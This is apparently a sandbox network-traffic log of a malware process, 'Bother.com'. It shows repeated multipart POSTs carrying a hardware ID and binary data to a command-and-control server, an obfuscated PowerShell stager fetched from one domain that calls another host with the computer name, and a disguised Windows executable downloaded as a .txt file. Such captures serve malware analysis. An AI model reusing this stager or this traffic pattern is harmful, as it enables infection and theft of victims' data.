22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 5a 49 4e 41 0d 0a 2d 2d Data Ascii: --ONAWXYWTPUVJV1RV5Content-Disposition: form-data; name="hwid"B84E3DC5EF57FE5EE1B71982A10B646A--ONAWXYWTPUVJV1RV5Content-Disposition: form-data; name="pid"2--ONAWXYWTPUVJV1RV5Content-Disposition: form-data; name="lid"hRjzG3--ZINA--
2025-01-01 15:44:33 UTC	1131	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:44:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7skncnasd8e72p9l3260nek1lh; expires=Sun, 27 Apr 2025 09:31:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P70UGe7SU9fUW5Z2uwA9DXc51%2FEvZAIiGyQ0%2Fes4htLwH%2B%2B6yjDFryz0iZ3CgNHXnnIZuO3DSLdRQ7Dn0J53TYv2cMHRFEouD41ep5o8M0AqOvbppiV5S6l4MuSW3s3UVyVtyog%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3a19ec97943f7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1590&min_rtt=1588&rtt_var=601&sent=7&recv=13&lost=0&retrans=0&sent_bytes=2846&recv_bytes=9717&delivery_rate=1813664&cwnd=213&unsent_bytes=0&cid=0354e3ec0e012f62&ts=805&x=0"
2025-01-01 15:44:33 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-01 15:44:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49742	172.67.198.102	443	7688	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com

Timestamp	Bytes transferred	Direction	Data
2025-01-01 15:44:34 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=EPPH1NOI3IJD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20400 Host: abberanteusz.click
2025-01-01 15:44:34 UTC	15331	OUT	Data Raw: 2d 2d 45 50 50 48 31 4e 4f 49 33 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 34 45 33 44 43 35 45 46 35 37 46 45 35 45 45 31 42 37 31 39 38 32 41 31 30 42 36 34 36 41 0d 0a 2d 2d 45 50 50 48 31 4e 4f 49 33 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 45 50 50 48 31 4e 4f 49 33 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 5a 49 4e 41 0d 0a 2d 2d 45 50 50 48 31 4e 4f 49 33 49 4a 44 0d 0a 43 Data Ascii: --EPPH1NOI3IJDContent-Disposition: form-data; name="hwid"B84E3DC5EF57FE5EE1B71982A10B646A--EPPH1NOI3IJDContent-Disposition: form-data; name="pid"3--EPPH1NOI3IJDContent-Disposition: form-data; name="lid"hRjzG3--ZINA--EPPH1NOI3IJDC
2025-01-01 15:44:34 UTC	5069	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b Data Ascii: lrQMn 64F6(X&7~`aO
2025-01-01 15:44:35 UTC	1147	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:44:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=39p3nj6qm6c8hjdqsvg16brg6d; expires=Sun, 27 Apr 2025 09:31:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u4WjsjPAS4tTvzuWs1TFmhQ%2F3%2BXO%2BETqbsP%2FQ%2FxFRlGjVZ0q9FipsNMcPfDufNILxRmxe%2FD5m44a84gyUb3g%2FHW4fKLrH7aEz5np%2FpGps1P%2F3jjN6h%2B87NgpnehJ8l%2FFEXzKxn4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3a1a71b5041b4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1771&min_rtt=1770&rtt_var=667&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21358&delivery_rate=1637689&cwnd=199&unsent_bytes=0&cid=622c68da3bb4b7e2&ts=585&x=0"
2025-01-01 15:44:35 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-01 15:44:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49743	172.67.198.102	443	7688	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com

Timestamp	Bytes transferred	Direction	Data
2025-01-01 15:44:35 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WAD7N0ZZEPON User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1214 Host: abberanteusz.click
2025-01-01 15:44:35 UTC	1214	OUT	Data Raw: 2d 2d 57 41 44 37 4e 30 5a 5a 45 50 4f 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 34 45 33 44 43 35 45 46 35 37 46 45 35 45 45 31 42 37 31 39 38 32 41 31 30 42 36 34 36 41 0d 0a 2d 2d 57 41 44 37 4e 30 5a 5a 45 50 4f 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 57 41 44 37 4e 30 5a 5a 45 50 4f 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 5a 49 4e 41 0d 0a 2d 2d 57 41 44 37 4e 30 5a 5a 45 50 4f 4e 0d 0a 43 Data Ascii: --WAD7N0ZZEPONContent-Disposition: form-data; name="hwid"B84E3DC5EF57FE5EE1B71982A10B646A--WAD7N0ZZEPONContent-Disposition: form-data; name="pid"1--WAD7N0ZZEPONContent-Disposition: form-data; name="lid"hRjzG3--ZINA--WAD7N0ZZEPONC
2025-01-01 15:44:36 UTC	1128	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:44:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d5uge2f4vi1u7jih4o0lhc2f3i; expires=Sun, 27 Apr 2025 09:31:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QWfml3BEDDg8hi9NHSFyWsuaF0tJBacyOvXf19mVOP6F4NiUfMIpPfwN6G%2FeyRQaK%2FKYoGRPq9jl1gYJrpkWThlBjthFRuzaJfCdCBldPyRRC3ISeOL43BQ0%2FzedztKIL5wNFTY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3a1b0ec1dc431-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1986&min_rtt=1971&rtt_var=770&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2127&delivery_rate=1394460&cwnd=229&unsent_bytes=0&cid=4fd9a5f3af5891dd&ts=478&x=0"
2025-01-01 15:44:36 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-01 15:44:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49744	172.67.198.102	443	7688	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com

Timestamp	Bytes transferred	Direction	Data
2025-01-01 15:44:36 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=YAGPBWW3J9HCSVJAQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1122 Host: abberanteusz.click
2025-01-01 15:44:36 UTC	1122	OUT	Data Raw: 2d 2d 59 41 47 50 42 57 57 33 4a 39 48 43 53 56 4a 41 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 34 45 33 44 43 35 45 46 35 37 46 45 35 45 45 31 42 37 31 39 38 32 41 31 30 42 36 34 36 41 0d 0a 2d 2d 59 41 47 50 42 57 57 33 4a 39 48 43 53 56 4a 41 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 59 41 47 50 42 57 57 33 4a 39 48 43 53 56 4a 41 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 5a 49 4e 41 0d 0a 2d 2d Data Ascii: --YAGPBWW3J9HCSVJAQContent-Disposition: form-data; name="hwid"B84E3DC5EF57FE5EE1B71982A10B646A--YAGPBWW3J9HCSVJAQContent-Disposition: form-data; name="pid"1--YAGPBWW3J9HCSVJAQContent-Disposition: form-data; name="lid"hRjzG3--ZINA--
2025-01-01 15:44:37 UTC	1132	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:44:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1uf98ergb5b4gpv0vhda01dvg0; expires=Sun, 27 Apr 2025 09:31:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HIy9GAwhNrDdU2qhuFTh%2FOW0df%2BNp%2FU73dJCAkefr1jnjLX0xgjm%2FyJupBa4HeUBMeiyXGI7XgAj37t5aC1tszlkcQ29dH%2BnmHNJ9tXWAUahrlRVQJ2Q3F6t4IbLNKcBYqIhhEU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3a1b6fa12ef9f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1932&min_rtt=1923&rtt_var=739&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2040&delivery_rate=1462193&cwnd=219&unsent_bytes=0&cid=d3dba14adf9ffa13&ts=506&x=0"
2025-01-01 15:44:37 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-01 15:44:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49745	172.67.198.102	443	7688	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com

Timestamp	Bytes transferred	Direction	Data
2025-01-01 15:44:37 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 113 Host: abberanteusz.click
2025-01-01 15:44:37 UTC	113	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 68 52 6a 7a 47 33 2d 2d 5a 49 4e 41 26 6a 3d 65 66 64 65 62 64 65 30 35 37 61 31 64 66 33 66 37 63 31 35 62 37 66 34 64 61 39 30 37 63 32 64 26 68 77 69 64 3d 42 38 34 45 33 44 43 35 45 46 35 37 46 45 35 45 45 31 42 37 31 39 38 32 41 31 30 42 36 34 36 41 Data Ascii: act=get_message&ver=4.0&lid=hRjzG3--ZINA&j=efdebde057a1df3f7c15b7f4da907c2d&hwid=B84E3DC5EF57FE5EE1B71982A10B646A
2025-01-01 15:44:38 UTC	1132	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:44:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q1ensl30i1kgrqeog88l4cce3t; expires=Sun, 27 Apr 2025 09:31:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ijAJEuiTHCEKU9bqzXQu8nREAGz2FyTXEQ9nm5nfgk3e70%2FSjoEovvoOq%2BaPdWaKxip%2Bsy7p64AT6UIxmDJwXQf7cSZCWww0N%2BqWKU71lFbhA5BIs7UWvmUtvTCANIeCV%2Fg64RA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3a1bd3c170f8f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1507&min_rtt=1498&rtt_var=580&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1016&delivery_rate=1856325&cwnd=232&unsent_bytes=0&cid=f997a748327188e6&ts=449&x=0"
2025-01-01 15:44:38 UTC	218	IN	Data Raw: 64 34 0d 0a 5a 57 52 41 36 35 6b 4d 73 53 41 6e 59 36 43 59 35 42 75 6f 75 6b 4c 58 39 6d 73 76 74 78 44 42 63 6f 46 37 6c 67 6d 6d 71 65 34 2b 48 32 4b 65 75 7a 61 54 53 46 4d 58 30 4f 76 65 52 34 66 6d 62 62 53 54 44 46 71 5a 59 36 6b 64 38 53 65 35 4d 5a 4f 65 32 6c 64 53 63 74 2b 74 4f 75 30 50 56 77 75 4f 37 4a 78 76 69 70 5a 67 73 59 4a 4a 46 59 55 38 34 78 65 6a 51 61 64 30 69 74 4c 4d 45 45 5a 36 79 66 46 34 78 56 42 55 57 66 79 33 75 44 54 44 31 69 75 6e 67 42 35 43 33 6d 4f 30 47 36 38 49 2f 6d 62 57 39 63 45 4d 43 6a 53 30 2b 6d 44 42 66 31 51 4c 77 62 61 51 59 39 79 59 62 76 57 51 48 77 32 4e 49 4f 31 51 35 46 6d 73 4f 64 76 30 0d 0a Data Ascii: d4ZWRA65kMsSAnY6CY5BuoukLX9msvtxDBcoF7lgmmqe4+H2KeuzaTSFMX0OveR4fmbbSTDFqZY6kd8Se5MZOe2ldSct+tOu0PVwuO7JxvipZgsYJJFYU84xejQad0itLMEEZ6yfF4xVBUWfy3uDTD1iungB5C3mO0G68I/mbW9cEMCjS0+mDBf1QLwbaQY9yYbvWQHw2NIO1Q5FmsOdv0
2025-01-01 15:44:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49746	185.161.251.21	443	7688	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com

Timestamp	Bytes transferred	Direction	Data
2025-01-01 15:44:39 UTC	201	OUT	GET /8574262446/ph.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: cegu.shop
2025-01-01 15:44:39 UTC	249	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Wed, 01 Jan 2025 15:44:39 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 329 Last-Modified: Thu, 26 Dec 2024 00:07:06 GMT Connection: close ETag: "676c9e2a-149" Accept-Ranges: bytes
2025-01-01 15:44:39 UTC	329	IN	Data Raw: 5b 4e 65 74 2e 73 65 72 76 69 63 65 70 4f 49 4e 54 6d 41 4e 61 47 65 72 5d 3a 3a 53 45 63 55 52 69 54 79 50 72 4f 74 6f 43 4f 6c 20 3d 20 5b 4e 65 74 2e 53 65 63 55 72 69 54 79 70 72 4f 74 6f 63 6f 6c 74 59 50 65 5d 3a 3a 74 4c 73 31 32 3b 20 24 67 44 3d 27 68 74 74 70 73 3a 2f 2f 64 66 67 68 2e 6f 6e 6c 69 6e 65 2f 69 6e 76 6f 6b 65 72 2e 70 68 70 3f 63 6f 6d 70 4e 61 6d 65 3d 27 2b 24 65 6e 76 3a 63 6f 6d 70 75 74 65 72 6e 61 6d 65 3b 20 24 70 54 53 72 20 3d 20 69 57 72 20 2d 75 52 69 20 24 67 44 20 2d 75 53 65 62 41 53 49 63 70 41 52 73 69 4e 67 20 2d 55 73 45 72 41 47 65 6e 74 20 27 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 37 2e Data Ascii: [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49747	104.21.37.128	443	7688	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com

Timestamp	Bytes transferred	Direction	Data
2025-01-01 15:44:39 UTC	206	OUT	GET /int_clp_sha.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: klipvumisui.shop
2025-01-01 15:44:40 UTC	903	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:44:40 GMT Content-Type: text/plain Content-Length: 8767044 Connection: close Accept-Ranges: bytes ETag: "51f99eddd33cc04fb0f55f873b76d907" Last-Modified: Sat, 28 Dec 2024 20:49:42 GMT Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=brIimG577vpG9kspSdshqg%2BAFeRFfEPS6qhJh38b2guudXqGDTXES%2Bj8QTIqpwRyVTx3I3flxmOstaHAbj7zCcf7RHHr9stqwYmLjlFCUPGsgt%2B2%2B2J3Fu8Em2RTeSxmEQPk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3a1ca0fd14289-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1612&min_rtt=1597&rtt_var=629&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2868&recv_bytes=820&delivery_rate=1697674&cwnd=150&unsent_bytes=0&cid=730803414f071e6d&ts=286&x=0"
2025-01-01 15:44:40 UTC	466	IN	Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZP@!L!This program must be run under Win32$7
2025-01-01 15:44:40 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 d4 52 0b 00 5c 02 00 00 00 60 0b 00 a4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8c 56 0a 00 00 10 00 00 00 58 0a 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 64 1b 00 00 00 70 0a 00 00 1c 00 00 00 5c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 38 38 00 00 00 90 0a 00 00 3a 00 00 00 78 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 58 72 00 00 00 d0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 ec 0f 00 00 00 50 0b 00 00 10 00 00 00 b2 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 69 64 61 74 61 00 a4 01 00 00 00 60 0b 00 00 Data Ascii: R\`.textVX `.itextdp\ `.data88:x@.bssXr.idataP@.didata`
2025-01-01 15:44:40 UTC	1369	IN	Data Raw: 00 01 07 48 52 45 53 55 4c 54 04 00 00 00 80 ff ff ff 7f 02 00 44 13 40 00 0e 05 54 47 55 49 44 10 00 00 00 00 00 00 00 00 04 00 00 00 e4 10 40 00 00 00 00 00 02 02 44 31 02 00 cc 10 40 00 04 00 00 00 02 02 44 32 02 00 cc 10 40 00 06 00 00 00 02 02 44 33 02 00 00 00 00 00 08 00 00 00 02 02 44 34 02 00 02 00 06 00 0b 40 76 40 00 0c 26 6f 70 5f 45 71 75 61 6c 69 74 79 00 00 00 10 40 00 02 12 40 13 40 00 04 4c 65 66 74 02 00 12 40 13 40 00 05 52 69 67 68 74 02 00 02 00 0b 28 9c 4a 00 0e 26 6f 70 5f 49 6e 65 71 75 61 6c 69 74 79 00 00 00 10 40 00 02 12 40 13 40 00 04 4c 65 66 74 02 00 12 40 13 40 00 05 52 69 67 68 74 02 00 02 00 09 28 9c 4a 00 05 45 6d 70 74 79 00 00 40 13 40 00 00 02 00 09 28 9c 4a 00 06 43 72 65 61 74 65 00 00 40 13 40 00 02 02 00 00 00 00 Data Ascii: HRESULTD@TGUID@D1@D2@D3D4@v@&op_Equality@@@Left@@Right(J&op_Inequality@@@Left@@Right(JEmpty@@(JCreate@@
2025-01-01 15:44:40 UTC	1369	IN	Data Raw: 4a 00 fe ff 72 1f 40 00 4d 00 ff ff 00 00 07 54 4f 62 6a 65 63 74 26 00 b8 7d 40 00 06 43 72 65 61 74 65 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 24 00 e8 7d 40 00 04 46 72 65 65 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 29 00 28 9c 4a 00 09 44 69 73 70 6f 73 65 4f 66 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 3e 00 f4 7d 40 00 0c 49 6e 69 74 49 6e 73 74 61 6e 63 65 03 00 9c 1f 40 00 08 00 02 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 00 00 11 40 00 01 00 08 49 6e 73 74 61 6e 63 65 02 00 02 00 2f 00 94 7e 40 00 0f 43 6c 65 61 6e 75 70 49 6e 73 74 61 6e 63 65 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 29 00 28 9c 4a 00 09 43 6c Data Ascii: Jr@MTObject&}@Create@Self$}@Free@Self)(JDisposeOf@Self>}@InitInstance@Self@Instance/~@CleanupInstance@Self)(JCl
2025-01-01 15:44:40 UTC	1369	IN	Data Raw: 00 01 00 01 01 02 00 02 00 5b 00 e8 80 40 00 11 53 61 66 65 43 61 6c 6c 45 78 63 65 70 74 69 6f 6e 03 00 28 13 40 00 08 00 03 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 08 9c 1f 40 00 01 00 0c 45 78 63 65 70 74 4f 62 6a 65 63 74 02 00 00 00 11 40 00 02 00 0a 45 78 63 65 70 74 41 64 64 72 02 00 02 00 31 00 08 81 40 00 11 41 66 74 65 72 43 6f 6e 73 74 72 75 63 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 31 00 0c 81 40 00 11 42 65 66 6f 72 65 44 65 73 74 72 75 63 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 39 00 10 81 40 00 08 44 69 73 70 61 74 63 68 03 00 00 00 00 00 08 00 02 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 01 00 00 00 00 01 00 07 4d 65 73 73 61 67 65 02 00 02 00 Data Ascii: 